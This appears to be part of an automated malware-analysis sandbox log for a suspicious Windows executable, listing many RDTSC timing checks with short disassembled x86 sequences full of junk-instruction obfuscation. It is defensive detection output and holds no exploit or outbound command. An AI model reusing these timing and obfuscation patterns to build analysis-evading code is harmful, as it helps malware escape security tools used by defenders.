Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D7C174 second address: D7C18F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D7C18F second address: D7C193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB338E second address: DB339A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F8784D62266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB339A second address: DB33A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8784B30556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB33A4 second address: DB33AA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB34E0 second address: DB34E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB34E4 second address: DB34EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB34EA second address: DB351B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8784B30561h 0x0000000e jmp 00007F8784B30567h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB3652 second address: DB3656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB3656 second address: DB365C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB37B5 second address: DB37DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F8784D6227Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB37DB second address: DB3810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F8784B30569h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB3A8E second address: DB3A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB3A93 second address: DB3AAE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8784B3055Eh 0x00000008 js 00007F8784B30556h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnp 00007F8784B30564h 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB3AAE second address: DB3AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB4A20 second address: DB4A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB4A26 second address: DB4A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB4A30 second address: DB4A53 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8784B30556h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8784B30564h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB4B8A second address: DB4B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB4B99 second address: DB4B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB94BB second address: DB94DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F8784D62272h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB94DD second address: DB94E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB94E1 second address: DB94FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DB94FE second address: DB9502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DBBB83 second address: DBBBA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Eh 0x00000007 jnc 00007F8784D62266h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F8784D62266h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DBBBA5 second address: DBBBC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8784B30568h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DBBBC3 second address: DBBBC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DBBBC9 second address: DBBBCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DBBBCF second address: DBBBFA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8784D62266h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 jng 00007F8784D62266h 0x00000016 jnc 00007F8784D62266h 0x0000001c pop esi 0x0000001d jmp 00007F8784D6226Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DBDA7D second address: DBDA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D863DB second address: D863F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F8784D6226Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D863F0 second address: D863FC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784B3055Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC0EA4 second address: DC0EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC0EAA second address: DC0EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8784B30556h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC0EB5 second address: DC0EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62272h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8784D62272h 0x00000010 jno 00007F8784D6226Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC1069 second address: DC106E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC15E6 second address: DC1604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC302B second address: DC3030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC3181 second address: DC3185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC3185 second address: DC318B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC33A1 second address: DC33AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC33AB second address: DC33AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC3CF9 second address: DC3CFE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC3E2E second address: DC3E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC4038 second address: DC403E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC602B second address: DC6042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8784B30556h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F8784B30558h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC689B second address: DC68B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F8784D6226Fh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC8148 second address: DC814C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC814C second address: DC8152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC8152 second address: DC8157 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC8C59 second address: DC8CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F8784D62268h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 call 00007F8784D62278h 0x00000025 mov dword ptr [ebp+122D2196h], eax 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f add dword ptr [ebp+122D2394h], edi 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 movsx edi, cx 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d jng 00007F8784D6226Ch 0x00000043 jp 00007F8784D62266h 0x00000049 jmp 00007F8784D62271h 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 jmp 00007F8784D62275h 0x00000059 popad 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d pop eax 0x0000005e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC8A22 second address: DC8A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC8A26 second address: DC8A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F8784D6226Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jnc 00007F8784D62266h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC968B second address: DC969D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 jp 00007F8784B30558h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC8A46 second address: DC8A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCEE2B second address: DCEE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCEE2F second address: DCEE35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCF6D9 second address: DCF6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD07AA second address: DD07CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784D62271h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD1634 second address: DD163A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD07CF second address: DD07D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD163A second address: DD1656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784B30560h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD07D5 second address: DD07D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD1656 second address: DD16DD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jne 00007F8784B30556h 0x00000011 pop edi 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F8784B30558h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e or ebx, dword ptr [ebp+122D2CD0h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F8784B30558h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D3873h], ebx 0x00000058 xchg eax, esi 0x00000059 jmp 00007F8784B30568h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD16DD second address: DD16E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD16E1 second address: DD16E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD2632 second address: DD2649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD17F8 second address: DD17FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD2649 second address: DD264F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD264F second address: DD2653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD17FC second address: DD181B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62270h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F8784D6226Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD181B second address: DD181F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD181F second address: DD1825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD36AF second address: DD3720 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8784B30558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F8784B30563h 0x00000011 jmp 00007F8784B3055Dh 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F8784B30558h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov ebx, dword ptr [ebp+122D2BE8h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b mov edi, dword ptr [ebp+122DB9F3h] 0x00000041 mov dword ptr [ebp+1244F31Bh], eax 0x00000047 xchg eax, esi 0x00000048 jng 00007F8784B3055Ch 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jns 00007F8784B30558h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD47F5 second address: DD4809 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jl 00007F8784D62266h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD4809 second address: DD4813 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8784B3055Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD38D2 second address: DD38D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD493A second address: DD493E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD493E second address: DD4947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD4947 second address: DD49DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8784B30556h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F8784B3055Eh 0x00000013 jp 00007F8784B30558h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c nop 0x0000001d cld 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov ebx, dword ptr [ebp+122D39F6h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F8784B30558h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov eax, dword ptr [ebp+122D0C85h] 0x00000052 mov ebx, dword ptr [ebp+122D2A78h] 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push edi 0x0000005d call 00007F8784B30558h 0x00000062 pop edi 0x00000063 mov dword ptr [esp+04h], edi 0x00000067 add dword ptr [esp+04h], 00000018h 0x0000006f inc edi 0x00000070 push edi 0x00000071 ret 0x00000072 pop edi 0x00000073 ret 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push ebx 0x00000078 jp 00007F8784B30556h 0x0000007e pop ebx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD5A94 second address: DD5A9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD77D3 second address: DD77FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784B30562h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD77FF second address: DD7804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD8813 second address: DD8817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD8817 second address: DD8823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D7F6D6 second address: D7F6E0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8784B30556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
